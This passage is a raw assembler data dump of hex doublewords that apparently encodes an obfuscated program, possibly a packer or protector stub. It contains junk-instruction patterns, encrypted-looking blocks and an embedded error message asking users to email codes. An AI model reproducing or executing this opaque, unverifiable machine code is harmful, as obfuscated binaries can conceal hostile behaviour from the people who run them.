0ED95FF15h dd 0F064D06h, 684h, 0B1B52900h, 0E9064D27h, 0FFFFF71Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6C35343h dd 0D11D7CD9h, 0AC18297Eh, 3CB5FFFCh, 0E9065004h, 9, 35E52DAAh dd 0AFE915F9h, 5595FF30h, 89064D2Eh, 4D0C05BDh, 99858B06h dd 0E9064D11h, 62Fh, 39B58956h, 5F064D12h, 0FBF1B58Dh dd 6A064Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 5548FDC3h, 0B1FB8B66h, 3858D4Fh, 6A064FA9h dd 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 5669C350h, 5B61DCB0h, 0F8FD808h, 0B70FC9B7h, 66D0FFC8h dd 0CC4FE981h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 19113BC3h, 795630D2h, 6FB99307h dd 0FF779184h, 4D231D95h, 8B5A5706h, 0E98166F3h, 858D5A47h dd 64FA903h, 2475958Bh, 0D0FF064Dh, 0C810Fh, 7E90000h dd 6E000000h, 71285E82h, 6A01E5h, 0FFC8B70Fh, 4D231D95h dd 0A58D8906h, 8B064D0Bh, 518531C0h, 83064D32h, 4D1BD9BDh dd 9750006h, 11BD83h, 7400064Dh, 8B535019h, 7D9B8C0h, 85890000h dd 64D2575h, 0B7159D8Dh, 0D3FF064Fh, 0BD83585Bh, 64D0011h dd 50177400h, 7D9B853h, 85890000h, 64D2575h, 0B4049D8Dh dd 0D3FF064Fh, 0DE9585Bh, 12000000h, 77F694E3h, 6F17049Ah dd 5348BBC6h, 10058D8Bh, 0C08B064Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0CEC35343h, 0A0D7D903h, 25C4ED71h dd 22BDBD23h, 0B150064Dh, 6AD88B5Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 8651C357h dd 0D089E31Dh, 75F652A5h, 2860Fh, 0EC8A0000h, 999D8D53h dd 8B064D12h, 8B038903h, 43895043h, 0D59D8D50h, 8B065003h dd 5B038903h, 14958D0Bh, 0DE80064Dh, 8B006A14h, 4D0A6DBDh dd 0D5858D06h, 89065003h, 4D1811BDh, 95895006h, 64D28D5h dd 8166606Ah, 8DF3AFD2h, 4D129985h, 6DBD0906h, 50064D32h dd 2800Fh, 0D08B0000h, 0BD09006Ah, 64D1EE1h, 10E9006Ah dd 0B7000000h, 9A821231h, 4357C021h, 4A769F49h, 68111D3Ch dd 1800h, 151D8D89h, 0E580064Dh, 958B5343h, 64D21E5h, 17E595FFh dd 0E860064Dh, 0Dh, 39361445h, 0E26EA8Eh, 8611FEABh, 5B07B0DDh dd 61ADE480h, 29B995FFh, 7E8064Dh, 91000000h, 40CAC4FCh dd 8D897A54h, 64D17C1h, 0D9BD8B5Fh, 0FF064D0Bh, 50043CB5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0B96611BBh, 860FD4DBh, 6, 30518D89h, 95FF064Dh dd 64D2E55h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0D1C35242h, 14A78241h, 9D89CE68h, 64D3031h, 1299858Dh dd 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 149909C3h, 4D9C156Ah, 0EE93004h, 1D000000h dd 63A9E86Ch, 0F4191B87h, 346E2C83h, 0AE9F4h, 47590000h dd 98B16A18h, 563420D6h, 8918408Bh, 4D1F8D9Dh, 7985C706h dd 64D0Bh, 57000000h, 800Fh, 83590000h, 4D0B99BDh, 840F0006h dd 62h, 0BE8h, 84AE9700h, 875BD615h, 90513943h, 5FCE8B66h dd 8C3Dh, 0C830F00h, 6A000002h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 36EEC355h, 664898E3h dd 815D64DBh, 9551A1C2h, 0D18D313Ah, 0E9064D31h, 1Ch, 0C9B52960h dd 81064D0Bh, 3FE8CDCEh, 963D6124h, 0F000000h, 1BE83h dd 0E9CD8000h, 0F59F858Dh, 8D8B005Ah, 64D0301h, 3BBFD0FFh dd 8D3A8BC5h, 5AEFF285h, 81D0FF00h, 0FB6D6AC9h, 14E816h dd 0A4750000h, 0D9C3A8DEh, 9785EA17h, 76B05057h, 22893575h dd 0B589F644h, 64D0F31h, 83C08B5Ah, 4D1BD9BDh, 9750006h dd 11BD83h, 7400064Dh, 8B535019h, 0BC6B8C0h, 85890000h dd 64D2575h, 0B7159D8Dh, 0D3FF064Fh, 0BD83585Bh, 64D0011h dd 50177400h, 0BC6B853h, 85890000h, 64D2575h, 0B4049D8Dh dd 0D3FF064Fh, 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0BB1543C3h, 39E981B1h, 95DED83h dd 4D276185h, 0BD896006h, 64D2279h, 68A0Fh, 9D8B0000h dd 64D2D55h, 0E9C08B61h, 0Fh, 6F6506B7h, 0BD72B164h, 137EFBF5h dd 830CE233h, 850FFFF8h, 66h, 198B0Fh, 11E80000h, 5E000000h dd 0BB5662A2h, 0D7FCCA38h, 0ECED296Dh, 0D43DBD6Ah, 6659D08Bh dd 85C7CF8Bh, 64D2971h, 0 dd 1BC19589h, 3AE9064Dh, 80000001h, 5BE9B1F2h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 4DBAC352h, 485EA2C2h, 11918D8Bh, 0F883064Dh dd 2B850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 1A05C353h, 5E6F3F3Bh dd 0E90E8AF3h, 0FBh, 94E97CB2h, 6AFFFFF1h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 6C8DC351h dd 2616538h, 0E9FE23B9h, 7, 187B9AEh, 8B398CF7h, 49BD8BC0h dd 83064D27h, 4D1BD9BDh, 9750006h, 11BD83h, 7400064Dh dd 8B535019h, 7DDB8C0h, 85890000h, 64D2575h, 0B7159D8Dh dd 0D3FF064Fh, 0BD83585Bh, 64D0011h, 50177400h, 7DDB853h dd 85890000h, 64D2575h, 0B4049D8Dh, 0D3FF064Fh, 820F585Bh dd 2, 0DE9FE8Bh, 0E8000000h, 863ECCD5h, 2915B93Ch, 0DA2A9865h dd 8B66C08Bh, 248E9F9h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0E25549C3h, 0D07B1D8Eh dd 29515947h, 4D31F9B5h, 0D9858D06h, 66065001h, 2B92D181h dd 3D18589h, 95010650h, 64D0C0Dh, 4DE9h, 0D9D8900h, 8D064D03h dd 4FFFE185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0B966E907h, 0E94081EAh, 8, 0C0D77906h dd 20302C6Dh, 880Fh, 85890000h, 65003D1h, 0FB99529h, 346A064Dh dd 461858Dh, 0FF50064Dh, 5003D1B5h, 0FF006A06h, 4D2F4995h dd 7F88306h, 162840Fh, 8C660000h, 4C3F6DBh, 0FC850Fh, 85C60000h dd 64D26E5h, 0B8526856h, 0B5FF9CA8h, 64D1431h, 3906858Dh dd 0D0FF064Dh, 68046Ah, 6A000010h, 0FF006A64h, 448589D0h dd 0C6065004h, 4D26E585h, 9B684706h, 0FFEC18ACh, 4D1431B5h dd 6858D06h, 0FF064D39h, 8BD0FFD0h, 0E585C6F0h, 4F064D26h dd 2F266168h, 95B5FFC6h, 8D064D03h, 4D390685h, 8DD0FF06h dd 5004409Dh, 286A5306h, 85D0FF56h, 0C60075C0h, 4D26E585h dd 98684106h, 0FFDB8764h, 4D0395B5h, 6858D06h, 0FF064D39h dd 5D8589D0h, 0C6065004h, 4D26E585h, 0A4684C06h, 0FF80A4E7h dd 4D0395B5h, 6858D06h, 0FF064D39h, 449D8BD0h, 8D065004h dd 8D53045Bh, 5004499Dh, 6A5306h, 9D8BD0FFh, 6500444h dd 103C7h, 43C70000h, 20Ch, 0F585C700h, 64D1Dh, 6A000000h dd 6A006A00h, 449D8B00h, 53065004h, 0B5FF006Ah, 6500440h dd 45D95FFh, 85C60650h, 64D26E5h, 0F7976845h, 0B5FF92A5h dd 64D22C1h, 3906858Dh, 0D0FF064Dh, 26A006Ah, 8C66D0FFh dd 4C3F6DBh, 9D8B3275h, 6500444h, 0C43C7h, 6A000000h, 8B006A00h dd 5004449Dh, 6A5306h, 440B5FFh, 95FF0650h, 650045Dh, 440B5FFh dd 95FF0650h, 64D29B9h, 95FF006Ah, 64D231Dh, 2B199D89h dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 2CA9FBC3h, 26F1B509h, 858D064Dh, 650370Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 65C35040h dd 7ACC519Dh, 0AF49A07h, 29618D29h, 8B66064Dh, 6A50D7h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 4B80D6C3h, 11E8h, 80B9A00h, 0AE8E35E8h, 0AB95207Dh dd 0B7C6C35Fh, 8E9EED2h, 0F1000000h, 7E5B7F58h, 5A6F5473h dd 35FF64h, 0F000000h, 8964F9BFh, 25h, 3D952900h, 83064D20h dd 4D21A5BDh, 840F0006h, 9Fh, 0BD83AAB5h, 64D1281h, 90850F01h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 47EBC350h, 0F85D34Ah, 148Fh, 0FE900h dd 47D0000h, 0CF593D60h, 60E8ADB5h, 0A56E9FF1h, 5DBD8020h dd 65008h, 49850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8B3FF5C3h, 4D2765BDh dd 1CCE906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 50B09AC3h, 33D08B73h, 719503DBh dd 33064D1Bh, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 38A53658h, 8D89FC04h, 64D0531h, 73F0F40h dd 58F640Bh, 0 dd 0E804C483h, 8, 0D54B1EFCh, 0EB2234Dh, 3850Fh, 8B660000h dd 870F5FCFh, 16h, 11E9h, 9C4B3700h, 0EF2D64ABh, 0B8DA54Dh dd 1620A875h, 0BD897682h, 64D2D01h, 0FFFFB83h, 2384h, 13E900h dd 45DD0000h, 58FA36E7h, 804C49BEh, 4A45EE21h, 10E83DA9h dd 102E970h, 0B5890000h, 64D2109h, 59E9h, 0F7816600h, 0BF0F00E0h dd 244C8BFAh, 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h dd 0C0330400h, 245C8BC3h, 0E8550Ch, 5D000000h, 3731ED81h dd 838B0650h, 0B8h, 3808858Dh, 83890650h, 0B8h, 0C3C0335Dh dd 68A0Fh, 85890000h, 64D0BA5h, 2499B509h, 858D064Dh, 6503727h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 98C35747h dd 0B9A589BEh, 45D2A8Bh, 12E9h, 0EE0E9300h, 0D2FD394h dd 0F1CCD6CCh, 6C33A553h, 50E45EA6h, 645AF950h, 35FFh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0F9581BC3h, 258964h, 66000000h, 87B5D78Bh dd 0AB9h, 0D704B800h, 64054855h, 0BB0DF781h, 8685D465h dd 34B640BAh, 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh dd 226985C7h, 1064Dh, 8F640000h, 5, 4C48300h, 0F52BEA80h dd 83F8C08Bh, 4D1BD9BDh, 9750006h, 11BD83h, 7400064Dh dd 8B535019h, 43DB8C0h, 85890000h, 64D31A5h, 0B77C9D8Dh dd 0D3FF064Fh, 0BD83585Bh, 64D0011h, 50177400h, 43DB853h dd 85890000h, 64D31A5h, 0B41D9D8Dh, 0D3FF064Fh, 8D8B585Bh dd 64D00BDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0C5C35646h, 0F5C8134Dh, 123DBD8Bh, 0C08B064Dh dd 13AE9h, 400h, 382E3100h, 3535h, 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E657320h, 68742064h dd 6F662065h, 776F6C6Ch, 20676E69h, 65646F63h, 6F742073h dd 666E6920h, 726F406Fh, 736E6165h, 6D6F632Eh, 6854202Eh dd 206B6E61h, 2E756F79h, 0D0A0D0Ah, 2 dup(20202020h), 65727028h dd 43207373h, 2B4C5254h, 6E6F2043h, 69687420h, 69772073h dd 776F646Eh, 206F7420h, 79706F63h, 206F7420h, 70696C63h dd 72616F62h, 20202964h, 0D0A2020h, 65560D0Ah, 6F697372h dd 3D20206Eh, 0A732520h, 6568430Dh, 4E496B63h, 203D2020h dd 0D0A6425h, 63656843h, 54554F6Bh, 25203D20h, 500D0A64h dd 49636F72h, 2020204Eh, 6425203Dh, 72500D0Ah, 554F636Fh dd 3D202054h, 0A642520h, 6978450Dh, 204E4974h, 203D2020h dd 0D0A6425h, 74697845h, 2054554Fh, 25203D20h, 540D0A64h dd 206E6950h, 20202020h, 6425203Dh, 83000D0Ah, 4D26B5BDh dd 840F0006h, 12Dh, 0B234858Dh, 8D50064Fh, 4FB19E85h, 1685006h dd 0FF800000h, 4FB24495h, 97858D06h, 50065038h, 38A1858Dh dd 6A500650h, 8D006A00h, 4FB1B285h, 0B5FF5006h, 64FB234h dd 180595FFh, 858D064Dh, 6503897h, 0A5858D50h, 50065038h dd 6A006Ah, 0B1C4858Dh, 0FF50064Fh, 4FB234B5h, 595FF06h dd 8D064D18h, 50389785h, 858D5006h, 65038B1h, 6A006A50h dd 11858D00h, 50064FB2h, 0B234B5FFh, 95FF064Fh, 64D1805h dd 3897858Dh, 8D500650h, 5038B985h, 6A5006h, 858D006Ah dd 64FB22Fh, 34B5FF50h, 0FF064FB2h, 4D180595h, 97858D06h dd 50065038h, 38B5858Dh, 6A500650h, 8D006A00h, 4FB21885h dd 0B5FF5006h, 64FB234h, 180595FFh, 858D064Dh, 6503897h dd 0A9858D50h, 50065038h, 6A006Ah, 0B220858Dh, 0FF50064Fh dd 4FB234B5h, 595FF06h, 8D064D18h, 50389785h, 858D5006h dd 65038ADh, 6A006A50h, 27858D00h, 50064FB2h, 0B234B5FFh dd 95FF064Fh, 64D1805h, 0B234B5FFh, 95FF064Fh, 64D2831h dd 0A2E9h, 25BD8300h, 64D0Dh, 95840Fh, 0BD830000h, 64D1281h dd 11850F00h, 8B000000h, 4D0B1D95h, 0F8C28106h, 0E900001Ch dd 0Fh, 1299958Dh, 528B064Dh, 40C28134h, 893BD4C3h, 4D15BD95h dd 0BDBD8306h, 64D15h, 55840Fh, 9D8B0000h, 64D15BDh, 8B4CC383h dd 0A1858903h, 8B065038h, 4D15BD9Dh, 50C38306h, 8589038Bh dd 65038A5h, 15BD9D8Bh, 0C383064Dh, 89038B54h, 5038B185h dd 0BD9D8B06h, 83064D15h, 38B58C3h, 38B58589h, 9D8B0650h dd 64D15BDh, 8B5CC383h, 0A9858903h, 83065038h, 4D26B5BDh dd 850F0006h, 0Dh, 0D25BD83h, 0F00064Dh, 6884h, 0B9B5FF00h dd 0FF065038h, 5038ADB5h, 0A9B5FF06h, 0FF065038h, 5038B5B5h dd 0B1B5FF06h, 0FF065038h, 5038A5B5h, 0A1B5FF06h, 8D065038h dd 50389B85h, 858D5006h, 65038D3h, 0C9858D50h, 50064D00h dd 34195FFh, 0C483064Dh, 8D406A24h, 5038BD85h, 858D5006h dd 64D00C9h, 0FF006A50h, 4D2F4995h, 0FF016A06h, 4D231D95h dd 0EBC18B06h, 46F31718h, 9Bh, 4 dup(0) dd 20BE900h, 8B600000h, 0E824245Ch, 0 dd 5AED815Dh, 6106503Ch, 0E90004C2h, 0FFFFFFE6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0) dd 0E9C36160h, 0FFFFFFF8h, 3C92B58Bh, 0E6810650h, 0FFFFF000h dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3C96B53Bh, 860F0650h dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h, 324C88Ch dd 840FC00Ah, 19h, 2BB5350h, 8B000000h, 4D15BD85h, 0A188606h dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h, 50FFFFFFh dd 82474FFh, 0B5D95FFh, 0F50064Dh, 0FE244C01h, 1CC08358h dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h dd 9840FC0h, 8B000000h, 4D15BD85h, 0C606h, 2404FF58h, 0E90004C2h dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh dd 0BD858B00h, 86064D15h, 0FDB0A18h, 0FFFFF685h, 5185C7FFh dd 64D15h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h dd 0E9188918h, 0Ah, 155185C7h, 100064Dh, 5B580000h, 0C32404FFh dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h dd 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h, 850FD20Bh dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh dd 0D88C66C3h, 840F04A8h, 29h, 3C3785C7h, 10650h, 0F500000h dd 0FE244C01h, 3C3B858Fh, 858D0650h, 6503C33h, 3C3BBD8Dh dd 38890650h, 23E9h, 99858D00h, 8B064D12h, 17053840h, 899B46F3h dd 503C3385h, 99858D06h, 8B064D12h, 85893C40h, 6503C37h dd 3C50858Dh, 85890650h, 64D0B5Dh, 87E9h, 0D48B5200h, 8728B60h dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 8728B60h dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 33535156h dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h, 34980400h dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h dd 8C25Ah, 3EC3858Dh, 85890650h, 64D240Dh, 3EEB858Dh, 85890650h dd 64D2CA5h, 3F13858Dh, 85890650h, 64D23C1h, 0CA8B6660h dd 0BF0FC08Bh, 0D9BD83F1h, 64D1Bh, 0BD830975h, 64D0011h dd 50197400h, 0B8C08B53h, 40Eh, 25758589h, 9D8D064Dh, 64FB715h dd 585BD3FFh, 11BD83h, 7400064Dh, 0B8535017h, 40Eh, 25758589h dd 9D8D064Dh, 64FB404h, 585BD3FFh, 0BBDE8166h, 9EB9666Bh dd 6AC08B39h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0A0F1C355h, 6371FE0Bh, 99C4614Fh dd 21A5BD83h, 0F00064Dh, 0A84h, 1E1E900h, 81660000h, 8C5DD9E2h dd 0FF560DFh, 18Eh, 6661F800h, 4C7F7h, 1C5850Fh, 81660000h dd 0BFB938C6h, 0 dd 8DF3B70Fh, 5041B09Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 9AF8C881h, 0F008036Fh dd 5E8F9h, 0B5AD0000h, 56CC8E03h, 0D6CA8166h, 935A5E96h dd 0DE960h, 0A3D30000h, 0AB9AAC8Eh, 61FF270Ah, 6629B214h dd 614111BFh, 6A9350h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 8FABE5C3h, 35FF64DEh, 0 dd 7E9h, 98063000h, 0E3650215h, 258964h, 0B1000000h, 60C48B85h dd 8E8h, 5A1F5400h, 0D8560184h, 0EEBF669Dh, 0C08058D4h dd 8B666162h, 0EB01CDCBh, 0F606000h, 8Dh, 615B5600h, 0FB25E2B9h dd 0BEB2617Dh, 58F64h, 83000000h, 6A04C4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0B740E3C3h dd 0E980579Ch, 0FC00B33h, 0BE84h, 7E86000h, 0A9000000h dd 0C631E305h, 85B2BB85h, 18E0BA5Bh, 61615FD7h, 90E78060h dd 613BD980h, 740EBD8Dh, 0D181064Dh, 62645740h, 1B8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0E843A85Eh, 0EE8166A6h, 0E7FF2442h, 13E8h, 7A9A400h dd 9D37EEC3h, 2FE106FBh, 8DEB9C8Bh, 4B82BD01h, 14E9h, 0C7374800h dd 73231C84h, 2059446Bh, 0E932E291h, 8F38A6AEh, 8B575E05h dd 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h dd 2000000h, 0C3C0335Fh, 3890Fh, 0B70F0000h, 4850FD0h dd 66000000h, 617F0CBEh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 3DC35040h, 8BC6CE80h, 0BF0F56C0h, 0BD835ECAh dd 64D1BD9h, 83097500h, 4D0011BDh, 19740006h, 0C08B5350h dd 40EB8h, 0A5858900h, 8D064D31h, 4FB77C9Dh, 5BD3FF06h dd 11BD8358h, 64D00h, 53501774h, 40EB8h, 0A5858900h, 8D064D31h dd 4FB41D9Dh, 5BD3FF06h, 128A0F58h, 0E9000000h, 0Dh, 8A00B82Fh dd 0BE224B3Dh, 6BC139D3h, 53006A22h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 70028E81h dd 51483341h, 0CE960h, 53B10000h, 0D7852A65h, 9C28637Ch dd 6E91CD6h, 34000000h, 0E7A637D1h, 8B5A6181h, 0E8C28BC0h dd 0Dh, 0D8B71C58h, 0CB026C4h, 713F3D56h, 19810FF2h, 0E8000000h dd 11h, 0E19201A8h, 51C91A03h, 28A35540h, 0AA8EF9DCh, 5F6160CFh dd 0BE96058h, 98000000h, 17C968F5h, 0E8F2F51Ah, 61F8C0BFh dd 6B95C081h, 0F7810000h, 2BF31F47h, 68h, 7682BA00h, 0BE592A3Eh dd 10F25DCEh, 510134FFh, 815B5AF9h, 0D1148BC3h, 12E956h dd 9D880000h, 6171CC56h, 0C13A4FD6h, 0BF7BF266h, 786099FDh dd 7B81C381h, 0F381759Fh, 5B14415Dh, 8F53D68Bh, 0E9570804h dd 5, 0FE326960h, 81665FDAh, 83161FC6h, 666004E9h, 0F3424BFh dd 68Dh, 46F28100h, 61292EE4h, 9568F981h, 850FFFFFh, 1Ah dd 0E9D0B70Fh, 35h, 0C5F186BDh, 5B692BB5h, 25497930h, 0F1539D5Fh dd 5E9E568h, 4E000000h, 0E4EF8E24h, 0FFFF6FE9h, 61AA80FFh dd 0C1C05B59h, 8F3497ACh, 64661C1h, 0B83BAD46h, 8EB3Ch dd 0 dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 4D128185h dd 88858D06h, 8B06508Fh, 888B08h, 8B000010h, 4A8B660Ah dd 0C18D89FCh, 83065043h, 4D0B99BDh, 840F0006h, 0Fh, 0FF006A60h dd 4D051195h, 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh dd 0CD520272h, 85895A04h, 65043BDh, 43C1B58Bh, 0CEC10650h dd 72896610h, 0C1B58B02h, 66065043h, 61FC7289h, 43BD858Bh dd 8DC30650h, 4D1C6995h, 0BD958906h, 89064D15h, 4D15A995h dd 0A985FF06h, 0C6064D15h, 4D26E585h, 0D8685306h, 0FFFCB148h dd 4D1431B5h, 6858D06h, 0FF064D39h, 118589D0h, 8D064D05h dd 503C6A85h, 89858906h, 0EB064D0Bh, 20h, 7 dup(0) dd 542E900h, 36E90000h, 68000005h, 6504631h, 0FD3B04E9h dd 46D668FFh, 0FAE90650h, 68FFFD3Ah, 650488Dh, 0FD3AF0E9h dd 48F068FFh, 0E6E90650h, 52FFFD3Ah, 0FADAE68Ch, 9D7D892Fh dd 41212DD3h, 0E2C2CE74h, 65677319h, 9F450E43h, 46ECB393h dd 0E88E5A3Ah, 8E34FCDCh, 0EF1EEB82h, 0D4FEDC91h, 72D095A0h dd 0FFCBFFA5h, 4EDD8045h, 86F6BE0Dh, 6CBB6128h, 0D19E440Eh dd 4F20D2A2h, 440AE5Bh, 164549D9h, 316E30h, 0A4AC0000h dd 0DB4F20CFh, 9CE18B4Ah, 9225F14Fh, 68B720C6h, 3F656439h dd 18248DD1h, 2478h, 2D5CA900h, 0D4FEDB53h, 0D5B88E75h dd 0AE79AA91h, 0A42EF645h, 0DB4F20D0h, 9BE08C49h, 3F66316Ch dd 4B57C0D1h, 5AB7501h, 206C0938h, 85715B4Fh, 0BC622CDFh dd 83753B77h, 496F05CEh, 4F89E6FAh, 31FA2E54h, 6C0A1435h dd 123DF3E5h, 0BAFF68D1h, 4E9AE98Bh, 2CF385Bh, 8249DCA4h dd 359E0FDCh, 6309CC29h, 53F9C01Eh, 0C6AB704h, 1F4E9D43h dd 51378DD4h, 419FE44Dh, 0AA7FCE74h, 167F97Bh, 3FD29D55h dd 8F00CD73h, 30FB5926h, 67CDBD8Ah, 1D8BF7FDh, 87AABC27h dd 0E6C365Bh, 0EA52A147h, 87h, 0A2DDF828h, 507667D8h, 5008BEA9h dd 40A91AE7h, 0BDFECCFBh, 0DA43D13Eh, 0C96F3795h, 78083784h dd 0B9D4FE35h, 1EED0150h, 251F7C0h, 1E36DCA4h, 92B14DDCh dd 0F77D9B70h, 0A6000002h, 4E2E3AE0h, 0F1D1DD83h, 95758127h dd 361622C8h, 0B9BBC76Dh, 0F3996237h, 9A4007E7h, 3CE2AE8Eh dd 0E2885030h, 43723FD6h, 0D4FEDA3Dh, 86A9E9F4h, 85B95F28h dd 0ECCE2E51h, 0D1EF3E3Ch, 2B6h, 32D8A402h, 9C690FDCh dd 7514DC2Bh, 93805ABh, 0DB4F206Bh, 6B11DE3Ch, 0D6A34915h dd 0DE71665h, 0B8DB4F22h, 0DB4F1FC9h, 4F1F680Ch, 20175DDBh dd 0C6AEDB4Fh, 0E19B4F1Fh, 201B6594h, 0AD161B4Fh, 1A52835Eh dd 1A43A6D5h, 55BE113Fh, 4428AD88h, 3B17D0FFh, 81EA0AE8h dd 7CAB0B69h, 0BEDCB158h, 252h, 0D3DF854Bh, 768228F3h dd 1A26CC96h, 0BBC76D3Ah, 606C12DBh, 3C054A5Eh, 0E3AA8A96h dd 8551313Dh, 2BF3D3DFh, 15E27985h, 0FEDA9AE6h, 4C8C97D4h dd 3A07AD75h, 1CC28FEDh, 0ADD3024Fh, 84DB4F20h, 8863B21Bh dd 0ABDA1F4Dh, 0D13F665Eh, 8E6E7AE3h, 32121EC4h, 0A8F5C268h dd 0D60F896Ch, 65574F9h, 7DC2AA2Bh, 0CCB4E330h, 65D4FF07h dd 7ABD5FCh, 1D86D4FFh, 0BF5281CEh, 92CAEF4Ch, 0CD733Ch dd 0C86E398Fh, 0DC218AFBh, 1E7501A0h, 6BBA9A50h, 2CCEA657h dd 8A4BCEAEh, 0B9862CF5h, 6B9ADF48h, 0C49E729Ah, 0ACF93EA7h dd 0E850305Fh, 78E1C85Dh, 5D03CB29h, 0AB468251h, 0FFA57292h dd 738DC132h, 0E6CBB88h, 43E9B346h, 0CF9C0576h, 5DF8E4A0h dd 0EC8055C8h, 32FC5AA7h, 0C42DD39Fh, 0AEFDA36Eh, 4E3E227Fh dd 2BF755BEh, 0B3875185h, 0CB5A639Ch, 0FB40A97Ch, 6621DBFh dd 0CF1EBCECh, 0B65C2482h, 8BF52471h, 0A6C20D55h, 741AE73Dh dd 0D3E736A7h, 0B8852BF3h, 0D55FB89h, 0D5973EC2h, 9BB06190h dd 38A1B7FDh, 27CD95F3h, 0CD733B1Bh, 0BCB02500h, 0BB4E1977h dd 0B7C49EFh, 1564D5A2h, 570499C8h, 84EDB1ADh, 0AD16033Fh dd 92245809h, 353F6E43h, 4BB56C96h, 0EA7C67DDh, 1195F4C8h dd 16h, 324E7DCAh, 0FFB56CA2h, 0A47F4796h, 0DB4F3DD0h dd 706h, 0D0A4BC00h, 5CDB4F3Ah, 0B75D2886h, 37488D68h dd 8BFCC96Fh, 5BAEDD22h, 0E6D13F66h, 0A3FC387Dh, 0CBC58068h dd 86613685h, 0A9D81D4Fh, 0CAE75DB6h, 0F19763C1h, 4E66CFA2h dd 987C5520h, 9B99B78Ch, 2000000h, 0AA8A963Ch, 4D2D39DFh dd 0F1D1DD83h, 92727E24h, 151723C9h, 4FF5BE93h, 0F69C6343h dd 983E0AEAh, 3EE4AC8Ch, 9FCE9B32h, 0D4FED8E1h, 0F8054550h dd 1B4A8FDDh, 